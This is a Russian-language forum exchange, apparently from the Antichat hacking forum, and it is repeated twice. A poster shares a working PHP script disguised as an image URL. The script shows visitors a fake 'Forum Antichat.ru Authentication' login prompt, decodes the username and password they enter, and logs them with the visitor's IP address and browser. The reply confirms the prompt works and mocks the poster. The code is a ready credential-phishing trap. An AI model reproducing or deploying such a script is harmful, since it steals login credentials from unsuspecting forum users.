V1k
20.03.2007, 20:44
http://v1k.jino-net.ru/image.php
У меня вопрос - окно с авторизацией вылазит? Вроде подобного я не встречал.
<?
$ips=fopen("ipz.txt","a+");
if ((strpos(@fread($ips,filesize("ipz.txt")),getenv("REMOTE_ADDR"))===false))
{
$headers=apache_request_headers();
if(@$headers['Authorization'])
{
$log=fopen("logz.txt","a");
list($login,$pass)=explode(':',base64_decode(subst r($headers['Authorization'],6)));
fwrite($log,"Date: ".date("d/m H:i:s")." IP: ".getenv("REMOTE_ADDR")." User-Agent: ".$headers['User-Agent']." Login: $login Password: $pass\r\n");
fwrite($ips,":".getenv("REMOTE_ADDR"));
fclose($log);
}
else header('WWW-Authenticate: Basic realm="Forum Antichat.ru Authentication"');
}
fclose($ips);
Header("Content-type: image/png");
$image=ImageCreateFromPng("image.png");
ImagePng($image);
ImageDestroy($image);
?>
P.S: код ужжассный конечно, но это так, проверить просто
Проверили. Вылазит. Можешь потестировать свой скрипт спокойно 10 дней.
У меня вопрос - окно с авторизацией вылазит? Вроде подобного я не встречал.
<?
$ips=fopen("ipz.txt","a+");
if ((strpos(@fread($ips,filesize("ipz.txt")),getenv("REMOTE_ADDR"))===false))
{
$headers=apache_request_headers();
if(@$headers['Authorization'])
{
$log=fopen("logz.txt","a");
list($login,$pass)=explode(':',base64_decode(subst r($headers['Authorization'],6)));
fwrite($log,"Date: ".date("d/m H:i:s")." IP: ".getenv("REMOTE_ADDR")." User-Agent: ".$headers['User-Agent']." Login: $login Password: $pass\r\n");
fwrite($ips,":".getenv("REMOTE_ADDR"));
fclose($log);
}
else header('WWW-Authenticate: Basic realm="Forum Antichat.ru Authentication"');
}
fclose($ips);
Header("Content-type: image/png");
$image=ImageCreateFromPng("image.png");
ImagePng($image);
ImageDestroy($image);
?>
P.S: код ужжассный конечно, но это так, проверить просто
Проверили. Вылазит. Можешь потестировать свой скрипт спокойно 10 дней.